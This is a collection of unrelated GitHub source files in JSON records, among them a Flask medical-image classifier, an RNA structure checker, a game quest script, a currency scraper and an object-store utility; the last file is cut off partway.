+{"seq_id":"26921351849","text":"from flask import Flask, request, render_template, Response, redirect , url_for\nimport tensorflow as tf\nfrom keras import backend as K\nimport cv2\nimport os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport numpy as np\nfrom torchvision import datasets, models, transforms\nimport matplotlib.pyplot as plt\nimport os\nimport PIL.Image as Image\n\nmodel = tf.keras.models.load_model(\"CNN.model\")\nmodel.load_weights(\"model.h5\")\nmodel._make_predict_function()\n\n#from werkzeug import secure_filename\nmodel1 = tf.keras.models.load_model(\"CNN_PNEMONIA.model\")#model.save_weights(\"model.h5\")\nmodel1.load_weights(\"model_pnemonia.h5\")\nmodel1._make_predict_function()\n\n#torch.save(model_conv,'cnn.pt')\nthe_model = torch.load('cnn.pt')\nthe_model.eval()\n\ndef generate_prediction(img):\n IMG_SIZE = 100\n img_array = cv2.imread(img, cv2.IMREAD_GRAYSCALE)\n img_array = img_array/255.0\n new_array = cv2.resize(img_array, (IMG_SIZE, IMG_SIZE))\n input = new_array.reshape(-1, IMG_SIZE, IMG_SIZE, 1)\n return input\n\ndef generate_prediction_p(img):\n sample_image = cv2.imread(img)\n sample_image = cv2.resize(sample_image, (224,224))\n if sample_image.shape[2] ==1:\n sample_image = np.dstack([sample_image, sample_image, sample_image])\n sample_image = cv2.cvtColor(sample_image, cv2.COLOR_BGR2RGB)\n sample_image = sample_image.astype(np.float32)/255.\n #sample_label = 1\n sample_image_processed = np.expand_dims(sample_image, axis=0)#since we pass only one image,we expand dim to include\n #batch size 1\n return sample_image_processed\n\ndef generate_prediction_t(img):\n sample_image = Image.open(img)\n transform = transforms.Compose([ \n transforms.Resize(256), \n transforms.CenterCrop(224), \n transforms.ToTensor(), \n transforms.Normalize( \n mean=[0.485, 0.456, 0.406], \n std=[0.229, 0.224, 0.225]\n )])\n img_t = transform(sample_image)\n return img_t\n \n\napp = Flask(__name__)\n#app.config[\"IMAGE_UPLOADS\"] = os.getcwd()+\"\\\\static\"\n@app.route('/')\ndef templates():\n return render_template('d.html')\n\n@app.route('/Body_Segment')\ndef Body_Segment():\n return render_template('mypage.html')\n\n@app.route('/Pneumonia_Detection')\ndef Pneumonia_Detection():\n return render_template('mypage1.html')\n\n@app.route('/Tumor_Detection')\ndef Tumor_Detection():\n return render_template('mypage2.html')\n\n@app.route('/results_for_segment', methods=['POST','GET'])\ndef results_for_segment():\n app.config[\"IMAGE_UPLOADS\"] = os.getcwd()+\"\\\\static\"\n\n c = [\"Brain\", \"Hands\", \"Kidney\", \"Legs\", \"Lungs\", \"Skull\", \"Teeth\"]\n K.clear_session()\n if request.method == \"POST\":\n f = request.files['file']\n f.save(os.path.join(app.config[\"IMAGE_UPLOADS\"], f.filename))\n FOLDER = f.filename\n predi=generate_prediction(os.path.join(app.config[\"IMAGE_UPLOADS\"], f.filename))\n \n pred= model.predict(predi)\n predi = list(pred[0])\n #final = dict(zip(c, prediction)) \n prediction = c[predi.index(max(predi))]\n accuracy = max(predi)\n accuracy = round((accuracy * 100),2)\n final_acc = str(accuracy) + \"%\"\n return render_template('mypage.html',image = FOLDER,prediction_text=prediction,prediction_acc = final_acc)\n\n@app.route('/results_for_p', methods=['POST','GET'])\ndef results_for_p():\n app.config[\"IMAGE_UPLOADS\"] = os.getcwd()+\"\\\\static\"\n K.clear_session()\n if request.method == \"POST\":\n f = request.files['file']\n f.save(os.path.join(app.config[\"IMAGE_UPLOADS\"], f.filename))\n FOLDER = f.filename\n predi=generate_prediction_p(os.path.join(app.config[\"IMAGE_UPLOADS\"], f.filename))\n prediction = model1.predict(predi)\n prediction = list(prediction[0])\n #final_acc= prediction.index(max(prediction))\n accuracy = max(prediction)\n accuracy = round((accuracy * 100),2)\n final_acc = str(accuracy) + \"%\"\n if accuracy < 65.00:\n prediction = \"Normal\"\n else:\n prediction = \"Pneumonia\"\n return render_template('mypage1.html',image1 = FOLDER,prediction_text=prediction,prediction_acc = final_acc)\n\n@app.route('/results_for_t', methods=['POST','GET'])\ndef results_for_t():\n app.config[\"IMAGE_UPLOADS\"] = os.getcwd()+\"\\\\static\"\n K.clear_session()\n if request.method == \"POST\":\n f = request.files['file']\n f.save(os.path.join(app.config[\"IMAGE_UPLOADS\"], f.filename))\n FOLDER = f.filename \n #img_t = transform(app.config[\"IMAGE_UPLOADS\"], f.filename)\n predi = generate_prediction_t(os.path.join(app.config[\"IMAGE_UPLOADS\"], f.filename))\n batch_t = torch.unsqueeze(predi, 0)\n out = the_model(batch_t)\n #print(out.shape)\n class1 = [\"No\", \"Yes\" ]\n _, index = torch.max(out, 1)\n percentage = torch.nn.functional.softmax(out, dim=1)[0] * 100\n prediction = class1[index[0]]\n accuracy = percentage[index[0]].item()\n accuracy = round(accuracy,2)\n final_acc = str(accuracy) + \"%\"\n return render_template('mypage2.html',image2 = FOLDER,prediction_text=prediction,prediction_acc = final_acc)\n\nif __name__ == '__main__':\n #app.debug = True\n app.run(host='192.168.8.25',port=5000)\n \n","repo_name":"PriyankaPSonawane/classify","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":5687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70622119527","text":"import time\n####### DATA BASE OF WANTED crRNA STRUCTURES ##### \ndatabase_nupack=[\n###### Structures from NUPACK RUNS#####\n'(((((.((.......)))))))....(((.....)))',\n'(.((((((.((((.....)))).)))))).)', \n'(((((.((.......)))))))....((((...........))))',\n#'(.((((((.((((....)))).)))))).)',\n'...(((((.((.......)))))))....((((...........))))',\n'...(((((.((.......)))))))....((((...........))))',\n'((((((.........).)))))....((((...........))))',\n\n#### lowest lbu backbone structure in NUPACK\n'(((((.((.......)))))))....((((...........))))',\n#### lowest lwa backbone structure in NUPACK\n'((.(((((....((((.........)))).))))).))',\n\n#### subopt lwa backbone alternative\n'(((((....((((.........)))).)))))',\n\n#### STRUCTURE FROM CELL PAPER ####\n'.....(((((.........))))..)....'\n]\n\n\ndatabase_mfold=[\n#lwa backbone structure mfold\n'((.(((((....((((.........)))).))))).))',\n#lsh backbone structure mfold\n'(((((...........)))))'\n#lbu backbone structure mfold\n\n#### Structure Lsh\n'((((((((.((.......)))))))....((((...........))))'\n]\n\n\nsequence_database={\n# LWA BACKBONE\n'lwaCas13a':'GAUUUAGACUACCCCAAAAACGAAGGGGACUAAAAC',\n# LSH BACKBONE\n'lshCas13a':'GGAUAUAGACCACCCCAAUAUCGAAGGGGACUAAAAC',\n# LBU BACKBONE\n'lbuCas13a':'GACCACCCCAAAAAUGAAGGGGACUAAAACA'\n}\n\n####### ANALYSIS FUNCTIONS FOR NUPACK #####\n\ndef analysis_structure(inputfile):\n\twith open(inputfile,'r') as input_file:\n\t\tlines=input_file.readlines()\n\ti=0\n\tresults=[]\n\tfor line in lines:\n\t\t\n\t\tif line[0:3]=='% %':\n\t\t\ttry:\n\t\t\t\tresults.append(lines[i+3])\n\t\t\texcept IndexError:\n\t\t\t\tcontinue\n\t\tif line.startswith('% Sequence:'):\n\t\t\tsequence=line[13:]\n\t\ti=i+1\n\tk=0\n\tj=0\n\tfor structure in database_nupack:\n\t\tk=k+1\n\t\tfor result in results:\n\t\t\t\n#\t\t\tprint structure\n#\t\t\tprint result\n\t\t\tif structure in result:\n#\t\t\t\tprint(count*' ' + str(structure)+(len(result)-(1+count+len(structure)))*' ' +' ######## MATCHED SECONDARY STRUCTURE')\n#\t\t\t\tprint(str(result[0:-2])+' ######## PREDICTED SECONDARY STRUCTURE')\n\t\t\t\tif j==0:\n\t\t\t\t\tcount=result.index(structure)\n\t\t\t\t\tprint('\\nGOOD NEWS! YOU\\'VE GOT THE RIGHT SECONDARY STRUCTURE!')\n\t\t\t\t\tprint('YOUR SEQUENCE WAS:\\n')\n\t\t\t\t\tprint(sequence)\n#\t\t\t\t\tprint('THE MATCHED SECONDARY STRUCTURE IS:')\n\t\t\t\t\tprint(count*' ' + str(structure)+(len(result)-(1+count+len(structure)))*' ' +' ######## MATCHED SECONDARY STRUCTURE')\n\t\t\t\t\tprint(str(result[0:-2])+' ######## PREDICTED SECONDARY STRUCTURE')\n\t\t\t\t\tj=j+1\n\t\t\telif k==len(database_nupack):\n\t\t\t\tif j==0:\n\t\t\t\t\tprint('''\n\t\t#################### CAUTION! ##################### \n\t\tYOUR SECONDARY STRUCTURE DOES NOT FIT OUR DATA BANK\n\t\t#################### CAUTION! #####################\\n\\n ''')\n\t\t\t\t\tprint('YOUR SEQUENCE AND MOST STABLE PREDICTED STRUCTURE IS:\\n')\n#\t\t\t\tprint(sequence)\n#\t\t\t\tprint('THE PREDICTED MOST STABLE STRUCTURE IS:')\n\t\t\t\t\tprint(sequence[0:-2])\n\t\t\t\t\tprint(str(results[0][0:-2]))\n\t\t\t\t\n\t\t\t\n\treturn()\n\ndef mfold_analysis(input):\n\tprint('''\n\n#######################################################################################\n#################### MFOLD SECONDARY STRUCTURE VERIFICATION ###########################\n#######################################################################################\n\n''')\n\tsequence, structure_in = input\n\tresult=structure_in[:-9]\n\tenergy=structure_in[-10:-2]\n\tenergy=energy.replace('\\t','')\n\tenergy=energy.replace('(','')\n\tenergy=energy.replace(')','')\n\tenergy=energy.replace(' ','')\n#\tprint sequence\n#\tprint result\n#\tprint energy\n\tk=0\n\tj=0\n\t\n\tfor structure in database_mfold:\n\t\tk=k+1\n\t\tif structure in result:\n#\t\t\t\tprint(count*' ' + str(structure)+(len(result)-(1+count+len(structure)))*' ' +' ######## MATCHED SECONDARY STRUCTURE')\n#\t\t\t\tprint(str(result[0:-2])+' ######## PREDICTED SECONDARY STRUCTURE')\n\t\t\tif j==0:\n\t\t\t\tcount=result.index(structure)\n\t\t\t\t\n\t\t\t\tprint('\\nGOOD NEWS! mFOLD WEBSERVER CONFIRMS YOUR STRUCTURE')\n\t\t\t\tprint('YOUR SEQUENCE WAS:\\n')\n\t\t\t\tprint(sequence)\n#\t\t\t\tprint('THE MATCHED SECONDARY STRUCTURE IS:')\n\t\t\t\tprint(count*' ' + str(structure)+(len(result)-(1+count+len(structure)))*' ' +' ######## MATCHED SECONDARY STRUCTURE')\n\t\t\t\tprint(str(result[0:-2])+' ######## PREDICTED SECONDARY STRUCTURE')\n\t\t\t\tj=j+1\n\t\telif k==1:\n\t\t\tif j==0:\n\t\t\t\tprint('''\n\t\t#################### CAUTION! ##################### \n\t\tmFOLD SECONDARY STRUCTURE DOES NOT FIT OUR DATA BANK\n\t\t#################### CAUTION! #####################\\n\\n''')\n\t\t\t\tprint('YOUR SEQUENCE AND MOST STABLE PREDICTED STRUCTURE IS:\\n')\n#\t\t\t\tprint(sequence)\n#\t\t\t\tprint('THE PREDICTED MOST STABLE STRUCTURE IS:')\n\t\t\t\tprint(sequence[0:-2])\n\t\t\t\tprint(str(result[0:-2]))\n\tprint('______________________________________________________________________________________\\n')\n\tprint('Job ended normally. '+str(time.strftime(\"%c\")))\n\n\ndef free_energy(inputfile):\n\twith open(inputfile,'r') as input_file:\n\t\tlines=input_file.readlines()\n\ti=0\n\tfree_energies=[]\n\tfor line in lines:\n\t\t\n\t\tif line[0:3]=='% %':\n\t\t\ttry:\n\t\t\t\tfree_energies.append(lines[i+2])\n\t\t\texcept IndexError:\n\t\t\t\tcontinue\n\t\ti=i+1\n\t\n\t\t\t\n\treturn()\n\ndef analysis_sequence(inputfile):\n\twith open(inputfile,'r') as input_file:\n\t\tlines=input_file.readlines()\n\ti=0\n\tfor line in lines:\n\t\t\n\t\tif line.startswith('% Sequence:'):\n\t\t\tsequence=line[12:]\n\t\ti=i+1\n\tj=0\n\tk=0\n\tfor seq in sequence_database:\n#\t\tprint(seq)\n\t\tif sequence_database[seq] in sequence:\n\t\t\tif j==0:\n\t\t\t\tprint(len(sequence)*'_' + '\\n')\n\t\t\t\tprint( '\t\tYOUR BACKBONE SEQUENCE HAS BEEN FOUND IN THE DATABANK')\n\t\t\t\tprint( '\t\tIT CORRESPONDS TO THE BACKBONE SEQUENCE OF: '+str(seq))\n\t\t\t\tprint('______________________________________________________________________________________\\n')\n\t\t\t\tprint('Job ended normally. '+str(time.strftime(\"%c\")))\n#\t\t\t\tprint(seq)\n\t\t\t\tj=j+1\n\t\telse:\n\t\t\tif k==len(sequence_database):\n\t\t\t\tprint('''\n\t\t#################### CAUTION! ##################### \n\t\tBACKBONE STRUCTURE UNKNOWN, PLEASE HANDLE WITH CARE\n\t\t#################### CAUTION! #####################\\n\\n ''')\n\t\t\t\tprint('______________________________________________________________________________________\\n')\n\t\t\t\tprint('Job ended normally. '+str(time.strftime(\"%c\")))\n\treturn()\n\t\n\t\n\t\n#analysis_structure('input.tmp.subopt')\n#analysis_sequence('input.tmp.subopt')\n\n\n","repo_name":"igemsoftware2017/igem_munich_2017","sub_path":"python/secondary_structure_analysis.py","file_name":"secondary_structure_analysis.py","file_ext":"py","file_size_in_byte":6122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25221309577","text":"#!/usr/bin/env python3\n# -*- encoding: utf-8; py-indent-offset: 4 -*-\n\nfrom pathlib import Path\nfrom typing import Any, Dict\n\nfrom .bakery_api.v1 import FileGenerator, OS, Plugin, register\n\n\ndef get_yum_files(conf: Dict[str, Any]) -> FileGenerator:\n yield Plugin(base_os=OS.LINUX,\n source=Path(\"yum\"),\n interval=conf.get(\"interval\"))\n\n\nregister.bakery_plugin(\n name=\"yum\",\n files_function=get_yum_files,\n)\n","repo_name":"HenriWahl/checkmk-agent-plugin-yum","sub_path":"lib/python3/cmk/base/cee/plugins/bakery/yum.py","file_name":"yum.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"53"}
+{"seq_id":"4011162541","text":"#1.write a python function to find the max of three numbers.\r\nx= int(input())\r\ny= int(input())\r\nz= int(input())\r\ndef fun1(x,y): #x=11 , y= 14\r\n if x > y:\r\n return x\r\n return y\r\ndef fun2( x, y, z ):\r\n return fun1( x, fun1( y, z ))\r\nprint(fun2(x,y,z))\r\n\r\n# # #2.Write a Python function to sum all the numbers in a list.\r\n# def sum(numbers):\r\n# total = 0\r\n# for x in numbers:\r\n# total += x\r\n# return total\r\n#\r\n# print(sum((8, 2, 3, 0, 7)))\r\n#\r\n# # #3.Write a Python function that takes a list and returns a new list with unique elements of the first list.\r\n# def list1(l):\r\n# num = []\r\n# for a in l:\r\n# if a not in num:\r\n# num.append(a)\r\n# return num\r\n# print('unique elements are')\r\n# print(list1([1,2,4,5,4,5,6,9,10]))\r\n# #\r\n# # #4.Write a Python function that takes a number as a parameter and check the number is prime or not.\r\n# # def prime(a):\r\n# # for i in range (2,a) :\r\n# # if a % i == 0 :\r\n# # print(\"number is prime\")\r\n# # else:\r\n# # print(\"number is not prime\")\r\n# # a = int(input(\"Enter a number : \"))\r\n# # prime(a)\r\n# #\r\n# #\r\n# #\r\n# # #5.Write a Python function that checks whether a passed string is palindrome or not.\r\n# # def pal(a):\r\n# #\r\n# # if (a == a[::-1]):\r\n# print(\"The string is a palindrome\")\r\n# else:\r\n# print(\"The string is not a palindrome\")\r\n#\r\n# a = input(\"Enter string:\")\r\n# pal(a)","repo_name":"anirbang324/Python-Basics-to-Advance-","sub_path":"function_1.py","file_name":"function_1.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36417775460","text":"# Made by Mr. - Version 0.3 by DrLecter\nimport sys\nfrom com.it.br.gameserver.model.quest import State\nfrom com.it.br.gameserver.model.quest import QuestState\nfrom com.it.br.gameserver.model.quest.jython import QuestJython as JQuest\n\nqn = \"326_VanquishRemnants\"\n\nRED_CROSS_BADGE,BLUE_CROSS_BADGE,BLACK_CROSS_BADGE, = range(1359,1362)\nADENA = 57\nBLACK_LION_MARK = 1369\n\nDROPLIST={\n20053:[RED_CROSS_BADGE,25],\n20437:[RED_CROSS_BADGE,25],\n20058:[RED_CROSS_BADGE,25],\n20061:[BLUE_CROSS_BADGE,25],\n20063:[BLUE_CROSS_BADGE,25],\n20436:[BLUE_CROSS_BADGE,25],\n20439:[BLUE_CROSS_BADGE,25],\n20438:[BLACK_CROSS_BADGE,35],\n20066:[BLACK_CROSS_BADGE,25],\n}\n\nclass Quest (JQuest) :\n\n def __init__(self,id,name,descr): JQuest.__init__(self,id,name,descr)\n\n def onEvent (self,event,st) :\n htmltext = event\n if event == \"30435-03.htm\" :\n st.set(\"cond\",\"1\")\n st.setState(STARTED)\n st.playSound(\"ItemSound.quest_accept\")\n elif event == \"30435-07.htm\" :\n st.playSound(\"ItemSound.quest_finish\")\n st.exitQuest(1)\n return htmltext\n\n def onTalk (self,npc,player):\n htmltext = \"You are either not carrying out your quest or don't meet the criteria.\"\n st = player.getQuestState(qn)\n if not st : return htmltext\n\n npcId = npc.getNpcId()\n id = st.getState()\n if id == CREATED :\n st.set(\"cond\",\"0\")\n if st.getInt(\"cond\")==0 :\n if player.getLevel() >= 21 :\n htmltext = \"30435-02.htm\"\n else:\n htmltext = \"30435-01.htm\"\n st.exitQuest(1)\n else :\n red=st.getQuestItemsCount(RED_CROSS_BADGE)\n blue=st.getQuestItemsCount(BLUE_CROSS_BADGE)\n black=st.getQuestItemsCount(BLACK_CROSS_BADGE)\n if red+blue+black == 0 :\n htmltext = \"30435-04.htm\"\n else :\n htmltext = \"30435-05.htm\"\n st.giveItems(ADENA,60*red+65*blue+70*black)\n st.takeItems(RED_CROSS_BADGE,-1)\n st.takeItems(BLUE_CROSS_BADGE,-1)\n st.takeItems(BLACK_CROSS_BADGE,-1)\n if red+blue+black >= 100 :\n htmltext = \"30435-09.htm\"\n if st.getQuestItemsCount(BLACK_LION_MARK) == 0 :\n st.giveItems(BLACK_LION_MARK,1)\n htmltext = \"30435-06.htm\"\n return htmltext\n\n def onKill(self,npc,player,isPet):\n st = player.getQuestState(qn)\n if not st : return \n if st.getState() != STARTED : return \n \n item,chance=DROPLIST[npc.getNpcId()]\n if st.getRandom(100)= end:\n if n2_nums[start] + n2_nums[end] == finalTarget:\n aList = []\n aList.append(n1)\n aList.append(n2)\n aList.append(n2_nums[start])\n aList.append(n2_nums[end])\n if aList not in answerList:\n answerList.append(aList)\n start += 1\n elif n2_nums[start] + n2_nums[end] < finalTarget:\n start += 1\n else:\n end -= 1\n return answerList\n\nsum = Solution()\n'''\nanswer = sum.fourSum([5,5,3,5,1,-5,1,-2], 4)\nprint(answer)\n'''\nanswer = sum.fourSum([0,4,-5,2,-2,4,2,-1,4], 12)\nprint(answer)\n\n","repo_name":"jerrt2003/leetcode-in-python","sub_path":"18_4Sum/Q18_4sum.py","file_name":"Q18_4sum.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18157708413","text":"from scrapy.crawler import CrawlerProcess\r\nimport scrapy\r\n\r\nclass Spider(scrapy.Spider):\r\n name = 'dolar'\r\n start_urls = [\r\n 'https://dolarhoy.com/'\r\n ]\r\n custom_settings = {\r\n 'FEED_URI': 'dolar_hoy.csv',\r\n 'FEED_FORMAT': 'csv',\r\n 'FEED_EXPORT_ENCODING': 'utf-8'\r\n \r\n }\r\n\r\n def parse(self,response):\r\n links = response.xpath(\"//div[@class='tile is-parent is-7 is-vertical']//a/@href\").getall()\r\n\r\n for link in links:\r\n yield response.follow(link, callback=self.parse_link, cb_kwargs={'url': response.urljoin(link)})\r\n\r\n def parse_link(self, response, **kwargs):\r\n link = kwargs['url']\r\n \r\n nombre = response.xpath('//div[@class=\"tile is-child title\"]/text()').get()\r\n compra = response.xpath('//*[@id=\"sitio\"]/section/div/div[2]/div[2]/div[1]/div[2]/div[1]/div[2]/text()').get() \r\n venta = response.xpath('//*[@id=\"sitio\"]/section/div/div[2]/div[2]/div[1]/div[2]/div[2]/div[2]/text()').get() \r\n fecha = response.xpath('//div[@class=\"tile is-child\"]/span/text()').get()\r\n \r\n yield {\r\n 'title': nombre, \r\n 'Compra':compra, \r\n 'Venta':venta, \r\n 'Fecha':fecha,\r\n 'url': link\r\n }\r\n\r\nprocess = CrawlerProcess()\r\nprocess.crawl(Spider)\r\nprocess.start()\r\n ","repo_name":"JuaniBarra19/Challenge","sub_path":"Challenge 2.py","file_name":"Challenge 2.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"72638624808","text":"import dataclasses\nimport os\nimport sys\nimport tempfile\nimport textwrap\nimport uuid\nfrom typing import Any, Dict, Iterator, Optional, Union\n\nimport yahp as hp\nfrom libcloud.storage.providers import get_driver\nfrom libcloud.storage.types import ObjectDoesNotExistError\n\n__all__ = [\"ObjectStoreHparams\", \"ObjectStore\"]\n\n\n@dataclasses.dataclass\nclass ObjectStoreHparams(hp.Hparams):\n \"\"\":class:`~composer.utils.object_store.ObjectStore` hyperparameters.\n\n .. rubric:: Example\n\n Here's an example on how to connect to an Amazon S3 bucket. This example assumes:\n\n * The container is named named ``MY_CONTAINER``.\n * The AWS Access Key ID is stored in an environment variable named ``AWS_ACCESS_KEY_ID``.\n * The Secret Access Key is in an environmental variable named ``AWS_SECRET_ACCESS_KEY``.\n\n .. testsetup:: composer.utils.object_store.ObjectStoreHparams.__init__.s3\n\n import os\n\n os.environ[\"AWS_ACCESS_KEY_ID\"] = \"key\"\n os.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"secret\"\n\n .. doctest:: composer.utils.object_store.ObjectStoreHparams.__init__.s3\n\n >>> from composer.utils import ObjectStoreHparams\n >>> provider_hparams = ObjectStoreHparams(\n ... provider=\"s3\",\n ... container=\"MY_CONTAINER\",\n ... key_environ=\"AWS_ACCESS_KEY_ID\",\n ... secret_environ=\"AWS_SECRET_ACCESS_KEY\",\n ... )\n >>> provider = provider_hparams.initialize_object()\n >>> provider\n \n\n Args:\n provider (str): Cloud provider to use.\n\n See :class:`ObjectStore` for documentation.\n container (str): The name of the container (i.e. bucket) to use.\n key_environ (str, optional): The name of an environment variable containing the API key or username\n to use to connect to the provider. If no key is required, then set this field to ``None``.\n (default: ``None``)\n\n For security reasons, composer requires that the key be specified via an environment variable.\n For example, if your key is an environment variable called ``OBJECT_STORE_KEY`` that is set to ``MY_KEY``,\n then you should set this parameter equal to ``OBJECT_STORE_KEY``. Composer will read the key like this:\n\n .. testsetup:: composer.utils.object_store.ObjectStoreHparams.__init__.key\n\n import os\n import functools\n from composer.utils import ObjectStoreHparams\n\n os.environ[\"OBJECT_STORE_KEY\"] = \"MY_KEY\"\n ObjectStoreHparams = functools.partial(ObjectStoreHparams, provider=\"s3\", container=\"container\")\n\n .. doctest:: composer.utils.object_store.ObjectStoreHparams.__init__.key\n\n >>> import os\n >>> params = ObjectStoreHparams(key_environ=\"OBJECT_STORE_KEY\")\n >>> key = os.environ[params.key_environ]\n >>> key\n 'MY_KEY'\n\n secret_environ (str, optional): The name of an environment variable containing the API secret or password\n to use for the provider. If no secret is required, then set this field to ``None``. (default: ``None``)\n\n For security reasons, composer requires that the secret be specified via an environment variable.\n For example, if your secret is an environment variable called ``OBJECT_STORE_SECRET`` that is set to ``MY_SECRET``,\n then you should set this parameter equal to ``OBJECT_STORE_SECRET``. Composer will read the secret like this:\n\n .. testsetup:: composer.utils.object_store.ObjectStoreHparams.__init__.secret\n\n import os\n import functools\n from composer.utils import ObjectStoreHparams\n\n original_secret = os.environ.get(\"OBJECT_STORE_SECRET\")\n os.environ[\"OBJECT_STORE_SECRET\"] = \"MY_SECRET\"\n ObjectStoreHparams = functools.partial(ObjectStoreHparams, provider=\"s3\", container=\"container\")\n\n\n .. doctest:: composer.utils.object_store.ObjectStoreHparams.__init__.secret\n\n >>> import os\n >>> params = ObjectStoreHparams(secret_environ=\"OBJECT_STORE_SECRET\")\n >>> secret = os.environ[params.secret_environ]\n >>> secret\n 'MY_SECRET'\n\n region (str, optional): Cloud region to use for the cloud provider.\n Most providers do not require the region to be specified. (default: ``None``)\n host (str, optional): Override the hostname for the cloud provider. (default: ``None``)\n port (int, optional): Override the port for the cloud provider. (default: ``None``)\n extra_init_kwargs (Dict[str, Any], optional): Extra keyword arguments to pass into the constructor\n for the specified provider. (default: ``None``, which is equivalent to an empty dictionary)\n\n .. seealso:: :class:`libcloud.storage.base.StorageDriver`\n\n \"\"\"\n\n provider: str = hp.required(\"Cloud provider to use.\")\n container: str = hp.required(\"The name of the container (i.e. bucket) to use.\")\n key_environ: Optional[str] = hp.optional(textwrap.dedent(\"\"\"\\\n The name of an environment variable containing\n an API key or username to use to connect to the provider.\"\"\"),\n default=None)\n secret_environ: Optional[str] = hp.optional(textwrap.dedent(\"\"\"\\\n The name of an environment variable containing\n an API secret or password to use to connect to the provider.\"\"\"),\n default=None)\n region: Optional[str] = hp.optional(\"Cloud region to use\", default=None)\n host: Optional[str] = hp.optional(\"Override hostname for connections\", default=None)\n port: Optional[int] = hp.optional(\"Override port for connections\", default=None)\n extra_init_kwargs: Dict[str, Any] = hp.optional(\n \"Extra keyword arguments to pass into the constructor for the specified provider.\", default_factory=dict)\n\n def get_provider_kwargs(self) -> Dict[str, Any]:\n \"\"\"Returns the ``provider_kwargs`` argument, which is used to construct a :class:`.ObjectStore`.\n\n Returns:\n Dict[str, Any]: The ``provider_kwargs`` for use in constructing an :class:`.ObjectStore`.\n \"\"\"\n init_kwargs = {}\n for key in (\"host\", \"port\", \"region\"):\n kwarg = getattr(self, key)\n if getattr(self, key) is not None:\n init_kwargs[key] = kwarg\n init_kwargs[\"key\"] = None if self.key_environ is None else os.environ[self.key_environ]\n init_kwargs[\"secret\"] = None if self.secret_environ is None else os.environ[self.secret_environ]\n init_kwargs.update(self.extra_init_kwargs)\n return init_kwargs\n\n def initialize_object(self):\n \"\"\"Returns an instance of :class:`.ObjectStore`.\n\n Returns:\n ObjectStore: The object_store.\n \"\"\"\n\n return ObjectStore(\n provider=self.provider,\n container=self.container,\n provider_kwargs=self.get_provider_kwargs(),\n )\n\n\nclass ObjectStore:\n \"\"\"Utility for uploading to and downloading from object (blob) stores, such as Amazon S3.\n\n .. rubric:: Example\n\n Here's an example for an Amazon S3 bucket named ``MY_CONTAINER``:\n\n >>> from composer.utils import ObjectStore\n >>> object_store = ObjectStore(\n ... provider=\"s3\",\n ... container=\"MY_CONTAINER\",\n ... provider_kwargs={\n ... \"key\": \"AKIA...\",\n ... \"secret\": \"*********\",\n ... }\n ... )\n >>> object_store\n \n\n Args:\n provider (str): Cloud provider to use. Valid options are:\n\n * :mod:`~libcloud.storage.drivers.atmos`\n * :mod:`~libcloud.storage.drivers.auroraobjects`\n * :mod:`~libcloud.storage.drivers.azure_blobs`\n * :mod:`~libcloud.storage.drivers.backblaze_b2`\n * :mod:`~libcloud.storage.drivers.cloudfiles`\n * :mod:`~libcloud.storage.drivers.digitalocean_spaces`\n * :mod:`~libcloud.storage.drivers.google_storage`\n * :mod:`~libcloud.storage.drivers.ktucloud`\n * :mod:`~libcloud.storage.drivers.local`\n * :mod:`~libcloud.storage.drivers.minio`\n * :mod:`~libcloud.storage.drivers.nimbus`\n * :mod:`~libcloud.storage.drivers.ninefold`\n * :mod:`~libcloud.storage.drivers.oss`\n * :mod:`~libcloud.storage.drivers.rgw`\n * :mod:`~libcloud.storage.drivers.s3`\n\n .. seealso:: :doc:`Full list of libcloud providers `\n\n container (str): The name of the container (i.e. bucket) to use.\n provider_kwargs (Dict[str, Any], optional): Keyword arguments to pass into the constructor\n for the specified provider. These arguments would usually include the cloud region\n and credentials.\n\n Common keys are:\n\n * ``key`` (str): API key or username to be used (required).\n * ``secret`` (str): Secret password to be used (required).\n * ``secure`` (bool): Whether to use HTTPS or HTTP. Note: Some providers only support HTTPS, and it is on by default.\n * ``host`` (str): Override hostname used for connections.\n * ``port`` (int): Override port used for connections.\n * ``api_version`` (str): Optional API version. Only used by drivers which support multiple API versions.\n * ``region`` (str): Optional driver region. Only used by drivers which support multiple regions.\n\n .. seealso:: :class:`libcloud.storage.base.StorageDriver`\n \"\"\"\n\n def __init__(self, provider: str, container: str, provider_kwargs: Optional[Dict[str, Any]] = None) -> None:\n provider_cls = get_driver(provider)\n if provider_kwargs is None:\n provider_kwargs = {}\n self._provider = provider_cls(**provider_kwargs)\n self._container = self._provider.get_container(container)\n\n @property\n def provider_name(self):\n \"\"\"The name of the cloud provider.\"\"\"\n return self._provider.name\n\n @property\n def container_name(self):\n \"\"\"The name of the object storage container.\"\"\"\n return self._container.name\n\n def upload_object(self,\n file_path: str,\n object_name: str,\n verify_hash: bool = True,\n extra: Optional[Dict] = None,\n headers: Optional[Dict[str, str]] = None):\n \"\"\"Upload an object currently located on a disk.\n\n .. seealso:: :meth:`libcloud.storage.base.StorageDriver.upload_object`.\n\n Args:\n file_path (str): Path to the object on disk.\n object_name (str): Object name (i.e. where the object will be stored in the container.)\n verify_hash (bool, optional): Whether to verify hashes (default: ``True``)\n extra (Optional[Dict], optional): Extra attributes to pass to the underlying provider driver.\n (default: ``None``, which is equivalent to an empty dictionary)\n headers (Optional[Dict[str, str]], optional): Additional request headers, such as CORS headers.\n (defaults: ``None``, which is equivalent to an empty dictionary)\n \"\"\"\n self._provider.upload_object(file_path=file_path,\n container=self._container,\n object_name=object_name,\n extra=extra,\n verify_hash=verify_hash,\n headers=headers)\n\n def upload_object_via_stream(self,\n obj: Union[bytes, Iterator[bytes]],\n object_name: str,\n extra: Optional[Dict] = None,\n headers: Optional[Dict[str, str]] = None):\n \"\"\"Upload an object.\n\n .. seealso:: 